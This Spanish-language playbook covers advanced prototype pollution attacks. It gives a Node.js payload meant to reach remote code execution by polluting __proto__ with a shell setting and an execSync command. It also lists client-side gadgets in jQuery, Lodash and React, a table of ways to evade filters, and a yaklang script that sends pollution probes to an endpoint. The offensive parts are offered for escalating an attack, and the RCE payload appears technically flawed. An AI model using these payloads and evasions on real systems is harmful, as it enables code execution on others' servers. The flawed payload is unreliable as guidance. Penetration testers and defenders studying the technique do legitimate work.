¿Qué hace prototype-pollution-advanced?
Libro de jugadas avanzado para contaminación de prototipos: RCE en servidor, gadgets del lado del cliente, evasión de filtros y técnicas de detección. Complemento de ../prototype-pollution/ para conceptos básicos. Úselo cuando haya confirmado contaminación y necesite escalar a ejecución de código o encontrar gadgets específicos de frameworks.
Técnicas de RCE del lado del servidor
Cuando se confirma contaminación de prototipos en un entorno Node.js, se puede escalar a RCE manipulando propiedades como __proto__ o constructor.prototype para sobrescribir funciones internas. Ejemplo:
// Payload para RCE en Express
const payload = {
"__proto__": {
"shell": "node",
"env": {
"EVIL": "require('child_process').execSync('id > /tmp/hacked').toString()"
}
}
};
Gadgets del lado del cliente
Busque cadenas de gadgets en frameworks populares:
- jQuery:
$.extend(true, {}, obj)puede propagar propiedades contaminadas. - Lodash:
_.defaultsDeepy_.mergeson vectores comunes. - React: Uso de
Object.assignpara propagar gadgets.
Evasión de filtros
Técnicas para evitar filtros de seguridad comunes:
| Técnica | Descripción |
|---|---|
| Codificación Unicode | Usar caracteres Unicode en nombres de propiedades (__proto__ → \u005f\u005fproto\u005f\u005f) |
| Anidamiento múltiple | Añadir capas de objetos para ofuscar ({"a": {"b": {"__proto__": ...}}}) |
Uso de constructor | Reemplazar __proto__ con constructor.prototype |
Detección automatizada con yaklang
// Script de detección básico
define("scan-prototype-pollution", func() {
// Prueba de contaminación estándar
payloads = [
"{\"__proto__\": {\"polluted\": true}}",
"{\"constructor\": {\"prototype\": {\"polluted\": true}}}"
]
for payload in payloads {
resp = poc.POST("/api/endpoint", {
"body": payload,
"headers": {"Content-Type": "application/json"}
})
if resp != nil && resp.BodyContains("polluted") {
println("Vulnerabilidad detectada: prototype pollution")
}
}
})